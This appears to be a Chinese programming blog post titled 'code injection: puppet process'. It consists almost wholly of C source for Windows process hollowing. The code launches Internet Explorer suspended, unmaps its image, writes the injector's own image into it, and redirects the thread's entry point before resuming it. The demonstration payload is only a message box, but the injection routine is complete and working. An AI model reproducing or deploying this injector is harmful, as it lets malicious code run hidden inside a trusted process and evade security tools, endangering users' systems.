代码注入之傀儡进程

最新推荐文章于 2024-07-29 08:30:00 发布

sevenpic

最新推荐文章于 2024-07-29 08:30:00 发布

阅读量1.9k

点赞数

分类专栏： windows编程文章标签： null header dos image system exe

windows编程专栏收录该内容

3 篇文章 0 订阅

订阅专栏

傀儡进程——Exe注入

2009-09-17 16:29

#include "stdafx.h"

#include <windows.h>
typedef long NTSTATUS;
typedef NTSTATUS (__stdcall *pfnZwUnmapViewOfSection)(
        IN HANDLE ProcessHandle,
        IN LPVOID BaseAddress
        );
BOOL CreateIEProcess();
PROCESS_INFORMATION pi  = {0};
DWORD GetCurModuleSize(DWORD dwModuleBase);
DWORD GetRemoteProcessImageBase(DWORD dwPEB);
DWORD GetNewEntryPoint();
void TestFunc();
//
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;

int _tmain(int argc, _TCHAR* argv[])
{
        ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
                GetModuleHandleA("ntdll.dll"),"ZwUnmapViewOfSection");
        printf("ZwUnmapViewOfSection : 0x%08X./n",ZwUnmapViewOfSection);
        if ( !ZwUnmapViewOfSection )
         {
                printf("Get ZwUnmapViewOfSection Error./n");
                goto __exit;
         }
        if ( !CreateIEProcess() )
         {
                goto __exit;
         }

        printf("TargetProcessId : %d./n",pi.dwProcessId);

        HMODULE hModuleBase = GetModuleHandleA(NULL);
        printf("hModuleBase : 0x%08X./n",hModuleBase);
        DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
        printf("ModuleSize : 0x%08X/n",dwImageSize);

        CONTEXT ThreadCxt;
        ThreadCxt.ContextFlags = CONTEXT_FULL;
        GetThreadContext(pi.hThread,&ThreadCxt);
        printf("Target PEB Addr : 0x%08X./n",ThreadCxt.Ebx);
        DWORD dwRemoteImageBase = GetRemoteProcessImageBase(ThreadCxt.Ebx);
        printf("RemoteImageBase : 0x%08X./n",dwRemoteImageBase);

        ZwUnmapViewOfSection(pi.hProcess,(LPVOID)dwRemoteImageBase);

        LPVOID lpAlloAddr = VirtualAllocEx(
                pi.hProcess,
                hModuleBase,
                dwImageSize,
                MEM_RESERVE | MEM_COMMIT,
                PAGE_EXECUTE_READWRITE
                );
        if ( lpAlloAddr )
         {
                printf("Alloc Remote Addr OK./n");
         }
        else
        {
                printf("Alloc Remote Addr Error./n");
         }

        WriteProcessMemory(
                pi.hProcess,hModuleBase,
                hModuleBase,dwImageSize,NULL );
        printf("Write Image data OK./n");
        ThreadCxt.ContextFlags = CONTEXT_FULL;
        ThreadCxt.Eax = GetNewEntryPoint();
        SetThreadContext(pi.hThread,&ThreadCxt);
        ResumeThread(pi.hThread);
        printf("finished./n");
__exit:
        //TerminateProcess(pi.hProcess,0);
        system("pause");
        return 0;
}

BOOL CreateIEProcess()
{
        wchar_t wszIePath[] = L"C://Program Files//Internet Explorer//iexplore.exe";
        STARTUPINFO si = {0};
        si.cb = sizeof(si);
        BOOL bRet;

        bRet = CreateProcessW(
                NULL,wszIePath,
                NULL,NULL,FALSE,CREATE_SUSPENDED,
                NULL,NULL,
                 &si,&pi );
        if ( bRet )
                printf("Create IE Ok./n");
        else
                printf("Create IE error./n");
        return bRet;
}

DWORD GetCurModuleSize(DWORD dwModuleBase)
{
        PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
        PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
        return pNtHdr->OptionalHeader.SizeOfImage;
}

DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
        DWORD dwBaseRet;
        ReadProcessMemory(pi.hProcess,(LPVOID)(dwPEB+8),&dwBaseRet,sizeof(DWORD),NULL);
        return dwBaseRet;
/*
lkd> dt_peb
nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged     : UChar
+0x003 BitField          : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 SpareBits         : Pos 1, 7 Bits
+0x004 Mutant            : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
*/
}

DWORD GetNewEntryPoint()
{
        return (DWORD)TestFunc;
}

void TestFunc()
{
        MessageBoxA(0,"Injected OK","123",0);
}